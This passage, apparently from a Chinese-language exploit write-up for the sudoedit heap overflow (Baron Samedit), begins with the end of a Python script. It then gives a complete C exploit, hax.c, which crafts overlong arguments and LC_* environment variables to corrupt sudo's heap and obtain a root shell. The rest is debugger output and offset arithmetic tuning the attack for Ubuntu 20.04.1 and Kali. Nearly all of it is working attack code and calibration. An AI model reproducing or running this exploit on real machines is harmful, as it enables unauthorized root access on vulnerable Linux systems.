if __name__=="__main__":
main()
另外将参考exp中的hax.c进行了简化,仅针对当前系统
//hax.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
#define MAX_ENVP 2000
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
int main(int argc, char *argv[]) {
int len_s,len_null;
len_s = 0xe0;
len_null = 10;
char *lc_env[] = {
"LC_CTYPE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAALC_CTYPE",
"LC_NUMERIC=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_NUMERIC",
"LC_TIME=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAAALC_TIME",
"LC_COLLATE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_COLLATE",
"LC_MONETARY=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAALC_MONETARY",
"LC_MESSAGES=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAALC_MESSAGES",
"LC_PAPER=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAALC_PAPER",
"LC_NAME=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAAALC_NAME",
"LC_ADDRESS=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_ADDRESS",
"LC_TELEPHONE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAALC_TELEPHONE",
"LC_MEASUREMENT=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAALC_MEASUREMENT",
"LC_IDENTIFICATION=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAALC_IDENTIFICATION",
};
char *data_s = malloc(len_s);
memset(data_s, 'A', len_s-2);
// data_s[len_s-2] = '\\';确认偏移时先不设置。
data_s[len_s-1] = '\x00';
char *s_argv[]={
"sudoedit", "-s", data_s, NULL
};
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < len_null; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
for(int i = 0;i < 12;i++){
s_envp[envp_pos++] = lc_env[i];
}
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(SUDOEDIT_PATH, s_argv, s_envp);
return 0;
}
6.1 Ubuntu 20.04.1
1.执行完setlocale(LC_ALL,””)后,查看_nl_global_locale.__names
0x564eef15c140 "C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_CTYPE",
0x564eef15b880 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_NUMERIC",
0x564eef15b240 "C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_TIME",
0x564eef15a760 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_COLLATE",
0x564eef15a0c0 "C.UTF-8@;x=x", 'A' <repeats 24 times>, "LC_MONETARY",
0x564eef159800 "C.UTF-8@;x=x", 'A' <repeats 24 times>, "LC_MESSAGES",
0x564eef15c180 "LC_CTYPE=C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_CTYPE;LC_NUMERIC=C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_NUMERIC;LC_TIME=C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_TIME;LC_COLLATE=C.UTF-8@;x=xAAAAA"...,
0x564eef158d30 "C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_PAPER",
0x564eef158720 "C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_NAME",
0x564eef158180 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_ADDRESS",
0x564eef157b10 "C.UTF-8@;x=x", 'A' <repeats 23 times>, "LC_TELEPHONE",
0x564eef156610 "C.UTF-8@;x=x", 'A' <repeats 21 times>, "LC_MEASUREMENT",
0x564eef155f60 "C.UTF-8@;x=x", 'A' <repeats 18 times>, "LC_IDENTIFICATION"
2.在set_cmnd执行过后,查看nss_load_library的参数地址是:0x564eef15a0c0
service_user使用的是LC_MONETARY的chunk,离的最近的chunk就是LC_MESSAGES,因此将LC_MESSAGES分配的chunk大小修改为0xf0(根据参考文档得知0xf0大小的chunk未被申请过),之后只要使得的user_args申请的大小为0xf0即可。
修改后的环境变量,确认LC_MONETARY(0x55fcde73ea20)和LC_MESSAGES(0x55fcde73e1d0)的地址。
后续跟一下,确认user_args使用的地址是0x55fcde73e1d0,service_user使用的地址是0x55fcde73ea20。
现在计算偏移长度
0x55fcde73ea20-0x55fcde73e1d0+0x30=0x880=2176(PS:0x30是service_user的name属性的偏移量)
len_s-1+len_null = 2176
因此len_null = 1953
6.2 kali
换了另外一台kali系统,使用参考exp是无法成功的,按照上述思路构造一下。
系统环境
配置文件
相比于ubuntu的,passwd行会少分配一个service_user,所以环境变量设置,偏移肯定都需要重新计算,另外测试发现kali中会多申请一个0xf0的chunk,所以环境变量中需要设置两个0xf0。
python脚本中环境变量长度配置
LC_LEN = {
"LC_CTYPE":0x40,
"LC_NUMERIC":0x40,
"LC_TIME":0x40,
"LC_COLLATE":0x40,
"LC_MONETARY":0x40,
"LC_MESSAGES":0x40,
"LC_PAPER":0xf0,
"LC_NAME":0xf0,
"LC_ADDRESS":0x40,
"LC_TELEPHONE":0x40,
"LC_MEASUREMENT":0x40,
"LC_IDENTIFICATION":0x40
}
user_args使用的chunk是LC_PAPER,user_args使用的是LC_MESSAGES
调试确认两个chunk的地址,LC_PAPER:0x561c9d500530、LC_MESSAGES:0x561c9d4fff10
最后计算偏移
0x561c9d500530-0x561c9d4fff10+0x30 = 0x650 = 1616
len_null = 1616+1-len_s = 1393